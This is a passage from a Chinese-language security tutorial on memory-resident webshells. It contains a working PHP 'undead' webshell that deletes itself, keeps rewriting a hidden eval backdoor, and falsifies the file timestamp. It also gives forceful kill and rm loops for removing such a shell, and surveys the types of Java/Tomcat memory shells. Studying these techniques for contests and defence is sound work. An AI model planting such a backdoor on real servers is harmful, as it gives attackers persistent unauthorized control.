前⾔
随着每年攻防对抗强度的增加,普通的⽊⻢在各⼤⼚商的安全设备下,根本难以存活,想要落地⼀个实体⽊⻢的难度逐渐增⼤。逐步完善的过滤机制、前后端分离的趋势,使得传统的 webshell ⽣存空间越来越⼩。于是,随着时代的发展,内存⻢出现了。 内存⻢就是⼀种⽆需落地⽂件就能使⽤的 webshell,它将恶意代码写⼊内存,拦截固定参数来达到 webshell 的效果。
发展过程如下:
web 服务器管理⻚⾯——> ⼤⻢——> ⼩⻢拉⼤⻢——> ⼀句话⽊⻢——> 加密⼀句话⽊⻢——> 加密内存⻢ php 内存⻢
刚开始学习的时候,只知道 php 内存⻢,想的都是内存⻢,php 和 java 应该会有⼀些相似的特征,应该可以类⽐⼀下。php 内存⻢常常作为 AWD 对抗赛的常⽤⼿段。
先通过⼀个简单的 php 型看⼀下内存⻢的基本实现思路
<?php
ignore_user_abort(true); //ignore_user_abort如果设置为 TRUE,则忽略与⽤户的断开,脚本将继续运⾏。
set_time_limit(0); //PHP脚本限制了执⾏时间,set_time_limit(0)设置⼀个脚本的执⾏时间为⽆限⻓
unlink(__FILE__); //删除⾃身
$file = '.config.php';
$code = '<?php if(md5($_GET["pass"])=="1a1dc91c907325c69271ddf0c944bc72")
{@eval($_POST[a]);} ?>';
while (1){
file_put_contents($file,$code); //创建shell.php
system('touch -m -d "2018-12-01 09:10:12" .config.php');
usleep(50); //间隔时间
}
?>
⽣成 .config.php 普通 ls 列不出来, 得 ls -a 才会列出 ==> 隐藏⽂件
删除⾃身⽂件,然后在某⼀个⽬录下循环⽣成你的 webshell==> 不死
那可以梳理⼀下 php 内存⻢的流程:
1. 将携带循环⽣成⽊⻢的命令脚本上传⾄⽬标服务器
2. 删除⽂件本身
3. 让其以隐藏⽂件的⽅式,死循环创建⽂件,并向⽂件中写⼊⽊⻢
查杀 php 内存⻢
1. 重启 php 服务器,(service apache2 restart)
2. 强⾏ kill 后台进程 ps aux | grep www-data | awk '{print $2}' | xargs kill -9
3. while 循环写脚本 while : ;do rm -rf xxx; done
4. 建⽴⼀个和不死⻢相同名字的⽂件或者⽬录,不断竞争写⼊⼀个和不死⻢同名的⽂件
<?php
while (1) {
$pid = 不死⻢的进程PID;
@unlink(".ski12.php");
exec("kill -9 $pid");
usleep(20);
}
?>
那我们根据 php 来类⽐⼀下 java
1. 内存⻢⽆⽂件落地,⽤户⽆法浏览到
2. ⽂件不死,能够循环执⾏
要实现这两点,需要结合 java 的特性来看,通常运⾏ java 的 web 容器是 Tomcat,以 Tomcat 为例
实现思路
我们先来看⼀下客户端 (浏览器) 与服务器 (Tomcat) 交互的简化流程
客户端发起的 web 请求会依次经过 Listener、Filter、Servlet 三个组件,只要在这个请求的过程中做⼿脚,在内存中修改已有的组件或者动态注册⼀个新的组件,插⼊恶意的 shellcode,就可以达到我们的⽬的。 ⼀句话总结:对访问路径映射及相关处理代码的动态注册。
我们要在上⾯这三个地⽅动⼿脚,于是按照作⽤的位置,我们有了
• listener 内存⻢
• filter 内存⻢
• Servlet 内存⻢
这三个,统称为:servlet-api 型。
在特定框架⾥,如 Spring/Struts2 等框架,按照位置分类可以有
• interceptor 型
• controller 型
同时,针对不同的中间件还有不同的类型
• Tomcat 的 Pipeline&Valve
• Grizzly 的 FilterChain&Filter 等等
最后⼀种是字节码增强型内存⻢,Java Agent 内存⻢。最终安全⾏业将分为以下⼏类
• 动态注册 servlet/filter/listener(使⽤ servlet-api 的具体实现)
• 动态注册 interceptor/controller(使⽤框架如 spring/struts2)
• 动态注册使⽤职责链设计模式的中间件、框架的实现(例如 Tomcat 的 Pipeline&Valve,Grizzly 的
FilterChain&Filter 等等)
• 使⽤ java agent 技术写⼊字节码